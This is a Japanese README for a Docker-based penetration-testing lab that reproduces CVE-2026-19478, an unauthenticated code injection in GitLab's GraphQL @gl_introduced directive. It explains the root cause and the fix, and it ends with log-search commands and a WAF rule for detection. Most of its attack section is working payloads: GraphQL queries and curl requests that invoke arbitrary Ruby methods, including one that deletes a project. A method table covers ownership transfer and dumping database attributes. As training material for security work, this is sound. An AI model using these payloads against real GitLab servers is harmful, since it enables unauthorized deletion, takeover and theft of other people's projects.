
CVE-2026-19478用のDocker化エクスプロイトラボとスクリプト。任意のRubyメソッド呼び出し、プロジェクト削除、データ流出を可能にする、認証不要の重大なGitLab GraphQLコードインジェクションです。
GitLab CE/EE の GraphQL ディレクティブを介した未認証リモートコードインジェクション — 単一の HTTP リクエストで任意の公開プロジェクトを削除
CVE-2026-19478 を再現する実践型ペネトレーションテストラボです。これは GitLab の GraphQL API における重大な(CVSS 9.4)脆弱性です。@gl_introduced ディレクティブにより、認証されていない攻撃者がサーバーサイドオブジェクト上で任意の Ruby メソッドを実行できます — プロジェクトの削除、データの外部送信、所有権の移転などが、一切の認証なしで可能です。
このラボは、実際に脆弱性のある GitLab CE 19.2.0 インスタンスを Docker 上で実行し、現実に即した悪用演習を提供します。
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-19478 |
| CVSS スコア | 9.4(重大) |
| 対象製品 | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| 脆弱性の種類 | コードインジェクション / 任意メソッド実行 (CWE-94) |
| 攻撃経路 | ネットワーク(リモート) |
| 認証 | 不要 |
| ユーザー操作 | 不要 |
| 攻撃の複雑さ | 低 |
| 影響を受けるバージョン | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| 修正済みバージョン | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| 発見者 | hiimguardian (via HackerOne) |
| パッチ適用日 | 2026年8月17日 |
認証されていないリモート攻撃者は、以下を実行できます:
GitLab はローリングデプロイをサポートするために、カスタム GraphQL ディレクティブ @gl_introduced(version: "X.Y") を使用します。新しい GitLab バージョンが GraphQL API にフィールドを追加した場合、古いインスタンスはそれらの新しいフィールドを参照するクエリに対して、エラーを返す代わりに null を返すことで適切に処理します。
ファイル: lib/gitlab/graphql/version_filter/future_field_fallback.rb(14〜36行目)
ステップバイステップの解説:
FutureFieldFilter は受信した GraphQL クエリをスキャンします。フィールドに現在のサーバーより新しいバージョンの @gl_introduced(version) が付いている場合、そのフィールドを除去し、context[:contain_future_fields] = true を設定します。
IntroducedTracer は実行時に元のクエリドキュメントを復元し、除去されたフィールドを AST に戻します。
FutureFieldFallback#get_field は実行中のすべてのフィールド参照をインターセプトします。次の3つの条件をチェックします:
contain_future_fields フラグが設定されているか? ✅__ で始まっていないか? ✅3つのチェックをすべて通過すると、リゾルバクラスなしの新しい GraphQL::Schema::Field を合成します。
graphql-ruby では、リゾルバのないフィールドは、基盤となる Ruby オブジェクトに対して object.public_send(field_name) を呼び出すことで解決されます — 攻撃者のフィールド名が Project ActiveRecord モデルに対する任意のメソッド呼び出しに変換されます。
GitLab のパッチは、暗黙的なメソッドディスパッチを、無条件に nil を返す明示的な NilResolver に置き換え、任意のメソッド実行を排除しつつローリングデプロイとの互換性を維持しています:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| サービス | URL | 認証情報 |
|---|---|---|
| GitLab Web UI | http://localhost | root / P@ssw0rd123! |
| GraphQL API | http://localhost/api/graphql | 不要 |
| GraphQL Explorer | http://localhost/-/graphql-explorer | ログインが必要 |
| SSH | localhost:2222 | — |
リソースが限られている環境や、より高速な起動が必要な場合:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
サーバーのバージョンを確認:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
GraphQL 経由で公開プロジェクトを列挙(認証なし):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
スキーマイントロスペクションで @gl_introduced ディレクティブを発見:
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
スキーマに存在しないフィールドに対して、将来のバージョンを指定した @gl_introduced を使用します:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
脆弱な場合、class は Ruby のクラス名("Project")を返し、任意のメソッドディスパッチが確認できます。
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
警告: 以下を実行すると、プロジェクトが完全に削除されます。
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
GitLab の Project モデルで悪用可能なその他のメソッド:
| メソッド | 影響 |
|---|---|
destroy | プロジェクトを完全に削除 |
archive | プロジェクトをアーカイブ |
transfer | プロジェクトの所有権を移転 |
attributes | すべてのデータベース属性をダンプ |
repository | リポジトリオブジェクトにアクセス |
members | プロジェクトメンバーを一覧表示 |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| 指標 | 説明 |
|---|---|
@gl_introduced(version: "99.0") | 非現実的に高いバージョン番号による悪用試行 |
フィールド名: destroy, delete, update, transfer | 破壊的な ActiveRecord メソッドを標的に |
| 予期しないプロジェクトの削除 | 管理者の操作なしにプロジェクトが消える |
| 可視性の変更 | 公開プロジェクトが突然非公開になる |
| 所有権の移転 | プロジェクトが不明なユーザーに移転される |
@gl_introduced と高いバージョン番号を含む GraphQL リクエストをブロックします:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced を含む GraphQL リクエストをブロックこのラボは、認定されたセキュリティ教育およびペネトレーションテストトレーニング専用に構築されています。管理された隔離環境で、自分が所有するか、テストするための明示的な書面による許可を得た環境でのみ使用してください。
適切な許可なしに、このラボの技術、ツール、またはエクスプロイトコードをいかなるシステムに対しても使用しないでください。コンピュータシステムへの不正アクセスは、コンピュータ詐欺及び濫用取締法(CFAA)および世界各国の同等の法律で違法とされています。
著者および貢献者は、このラボまたはその内容によって引き起こされた誤用や損害について一切責任を負いません。
Instagram で @pwnsystem をフォローして、毎日のサイバーセキュリティのヒント、CVE の解説、エクスプロイトのウォークスルーをチェックしましょう。
プロフェッショナルなセキュリティインサイトとラボのアップデートについては、LinkedIn の Punit Darji にご連絡ください。